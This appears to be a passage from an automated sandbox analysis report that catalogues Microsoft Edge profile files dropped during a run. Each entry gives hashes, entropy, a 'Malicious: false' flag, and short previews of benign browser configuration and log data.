Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\52b15a86-f577-4f27-824c-5848c844f047.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5a0d5655-f26a-46bb-b5da-2d7c636f3c57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2475f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF25181.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.233170657449233
Encrypted:	false
SSDEEP:	12:7RPM+vLZYebvqBZFUtDPa/9PCV54ZYebvqBaJ:7NdlYebvygj0koYebvL
MD5:	9520EF963AAE40529C41541A967EE229
SHA1:	8FA6811B036437BD32E352F70EC47AB0653E50BF
SHA-256:	79E7BCB101DDA9CAED66C9BB9D9ECA4DA37A907E84F50E769897AB719179BE5F
SHA-512:	4E505AC72313F6A472E18353D8060362E81B09E849C2671D6A47AFF0E4FBE0CD6F3871A1BB9D94643FB1EA2F86CD7EC63B4BF457FD6FB902D8993C7C43A96F37
Malicious:	false
Preview:	2025/04/07-12:10:19.640 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/04/07-12:10:19.642 1d4c Recovering log #3.2025/04/07-12:10:19.646 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.233170657449233
Encrypted:	false
SSDEEP:	12:7RPM+vLZYebvqBZFUtDPa/9PCV54ZYebvqBaJ:7NdlYebvygj0koYebvL
MD5:	9520EF963AAE40529C41541A967EE229
SHA1:	8FA6811B036437BD32E352F70EC47AB0653E50BF
SHA-256:	79E7BCB101DDA9CAED66C9BB9D9ECA4DA37A907E84F50E769897AB719179BE5F
SHA-512:	4E505AC72313F6A472E18353D8060362E81B09E849C2671D6A47AFF0E4FBE0CD6F3871A1BB9D94643FB1EA2F86CD7EC63B4BF457FD6FB902D8993C7C43A96F37
Malicious:	false
Preview:	2025/04/07-12:10:19.640 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/04/07-12:10:19.642 1d4c Recovering log #3.2025/04/07-12:10:19.646 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.195340022006924
Encrypted:	false
SSDEEP:	6:iORP/SVq2PcNwi23oH+TcwtpIFUtDPxgZmw9PgIkwOcNwi23oH+Tcwta/WLJ:7RP/SVvLZYebmFUtDPxg/9PgI54ZYeb7
MD5:	C7AD6FB35D8DADB5D1EE55C98A5BAA22
SHA1:	5F033CE2679929B41893850C01B7E4CCDBA55C77
SHA-256:	0856C71206A161EE6A02D3DB4396976BF4B9529955ED72F55933C961A953A0F0
SHA-512:	71BDD9637A6DB17749AC7B261A750908DC8D72CA69B7FEE375E4FBD7FF171FE261A2D945D4427DE4D6DD59D43192B6EA12919E9522B4C44CAC0458BBEC147638
Malicious:	false
Preview:	2025/04/07-12:10:01.215 1bc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/04/07-12:10:01.216 1bc4 Recovering log #3.2025/04/07-12:10:01.217 1bc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.195340022006924
Encrypted:	false
SSDEEP:	6:iORP/SVq2PcNwi23oH+TcwtpIFUtDPxgZmw9PgIkwOcNwi23oH+Tcwta/WLJ:7RP/SVvLZYebmFUtDPxg/9PgI54ZYeb7
MD5:	C7AD6FB35D8DADB5D1EE55C98A5BAA22
SHA1:	5F033CE2679929B41893850C01B7E4CCDBA55C77
SHA-256:	0856C71206A161EE6A02D3DB4396976BF4B9529955ED72F55933C961A953A0F0
SHA-512:	71BDD9637A6DB17749AC7B261A750908DC8D72CA69B7FEE375E4FBD7FF171FE261A2D945D4427DE4D6DD59D43192B6EA12919E9522B4C44CAC0458BBEC147638
Malicious:	false
Preview:	2025/04/07-12:10:01.215 1bc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/04/07-12:10:01.216 1bc4 Recovering log #3.2025/04/07-12:10:01.217 1bc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654075451576556
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMVSAELyKOMq+8HKkjucswRv8p3nVumz:Bq+n0JV9ELyKOMq+8HKkjuczRv89X
MD5:	9C0F01473502D38014683FDB8D5B2808
SHA1:	337F543CD560B928E31AF4787C31A999F474CDD0
SHA-256:	0BDE4D643D58D4F9369619B72C3D5D57D09DB92FFBFDB0D52F3DD46259BE70A1
SHA-512:	476FA2CCCFA0F4CEE09C16B2A01489151EFC1D3A66520E010F2A1D101850B326A6E6450628CB59DF495AA787FC39075C991B1260B7185FF0ED7E9AB08C5986EB
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4666414662301025
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0LDcH:v7doKsKuKZKlZNmu46yjx0Lo
MD5:	26BB9C5147800D07B18B2037747C0ADC
SHA1:	950F5347CDD0F2588C6081A4E972C48024AF5F57
SHA-256:	25B6718D2F5F4A955F6C5AACF0534F99A9DB7430B125BD3B48E85941EF197C23
SHA-512:	787EE5B74A649A6C204C72A3F2F4A9E8295224738F5E67F1BCFA0F7E2CD44FB6B4E721ECD41C722C9137CDB2B127DE89E4DA147E881171FB582AE9B94062176B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c42630f2-a00c-46da-a4a5-6358f893018a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cc2b2113-4cb0-4bfa-9213-f516e8557090.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eab0e17f-1330-4a47-94ee-640e0f2122c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36990
Entropy (8bit):	5.562708394094247
Encrypted:	false
SSDEEP:	768:WYfnvVWPj7fLc8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLqpShverwGgiHqKpltuU:WYfnvVWPj7fLcu1jauqp4v7GgiKAtj
MD5:	E1ED912B5B99488B3B9BCEC742449A5F
SHA1:	F4FDE5250EAAB97C6499B9E217991873EA38B4E0
SHA-256:	77AEF127287958068F89C37FBAEACE8A50A9BD9FF5A8CFAB817383759AA2C187
SHA-512:	90ACF0F39AF12B684BD304BE96575B68419D0693C8F9BC2817C1AD3EB18F47972DD29055848099C4E9EE176DEABF39315EC18103DB49F6184BEFC96C00848C3B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13388515801214131","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13388515801214131","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10269545933866954
Encrypted:	false
SSDEEP:	6:Gu0NPG4/u0NPeR89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/VS:+B/B4spEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	D178C0AFED0D2534AE8B158EDE065736
SHA1:	237190C4D08D6705199E3DAAE388B6FB8A40F309
SHA-256:	D1FD9539795A09CD4A77A055545BA0F0D2DB46B2173850F89D3FBCC2A11BCA66
SHA-512:	DADB8493C63643DBB324EA3465DE8950DD9C7EC2F273D0F48FC32413B46D8C7B0D1EFAF8ABA85973A68B792B5D87CA3281AFF976189088CABA9ACFED819E0C8C
Malicious:	false
Preview:	..-.............M........aIXi..13.-.....g.M$.^...-.............M........aIXi..13.-.....g.M$.^.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8902272754294781
Encrypted:	false
SSDEEP:	384:0zmsjftch2nLiJjUbRzIluo1Rsv8Hyy7ygsZycyQiycxyQa:o1oFLS
MD5:	436887D85E32C61CC8DB98AE68537317
SHA1:	452B11E3B54178A7D45CEFE32DEF233215B682E4
SHA-256:	066DD5CF81A1EB82F1A11B76DC739376E234C178B8DBF511BB9D46C37ED98BB8
SHA-512:	A7B04FBFBBE21A1EDF8D9ECA6C58CACD1DEF4E1CF72C88CCC75A51338479E3A1211F0B384966BC0882DE651E14D4F18670A19ED1CE7AD79F29885AE254068482
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.686609997257945
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuuUbsedhO5:llc8BOuuuuuuuuuuuuJ8I
MD5:	E167B4CFA411F2CDE794ADD0A34FCB25
SHA1:	CB1EF46D34ABB24BACCE0049ACFF3EB515764F5E
SHA-256:	C54B3BE05EE36C9A61BB455CC4F276CD588CCB1FE219B665980D9ED884337E77
SHA-512:	364D55B0F8BD98F6BAC0220026BB3E59B76348E8D870747F1610A2A7C8CE27F40D0C3F0D272D8566A48C8466AA484E35EDF422AE851662CC030FA0E394F3DEC1
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................*m.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.188824363432449
Encrypted:	false
SSDEEP:	6:iORP/q2PcNwi23oH+TcwtfrK+IFUtDP8Zmw9P8kwOcNwi23oH+TcwtfrUeLJ:7RP/vLZYeb23FUtDP8/9P854ZYeb3J
MD5:	1CAAC6AB5953A4A40FA8C92AEADF371E
SHA1:	6587788E77593816974611D562D3B72F40600829
SHA-256:	7FDC9A40E10D265C9E94D0055F048A1EE86F93C8DFFFB6803F7429F22DC122D0
SHA-512:	21849EE4024FA96C725DF1CE5F704D487EEA95102B3CE58A1B7C32AD024D27F11778365C5E46A855BFA43A02CDD9441FA089BDE622FBD4277EC57679D6515187
Malicious:	false
Preview:	2025/04/07-12:10:03.130 1574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/04/07-12:10:03.132 1574 Recovering log #3.2025/04/07-12:10:03.132 1574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.188824363432449
Encrypted:	false
SSDEEP:	6:iORP/q2PcNwi23oH+TcwtfrK+IFUtDP8Zmw9P8kwOcNwi23oH+TcwtfrUeLJ:7RP/vLZYeb23FUtDP8/9P854ZYeb3J
MD5:	1CAAC6AB5953A4A40FA8C92AEADF371E
SHA1:	6587788E77593816974611D562D3B72F40600829
SHA-256:	7FDC9A40E10D265C9E94D0055F048A1EE86F93C8DFFFB6803F7429F22DC122D0
SHA-512:	21849EE4024FA96C725DF1CE5F704D487EEA95102B3CE58A1B7C32AD024D27F11778365C5E46A855BFA43A02CDD9441FA089BDE622FBD4277EC57679D6515187
Malicious:	false
Preview:	2025/04/07-12:10:03.130 1574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/04/07-12:10:03.132 1574 Recovering log #3.2025/04/07-12:10:03.132 1574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
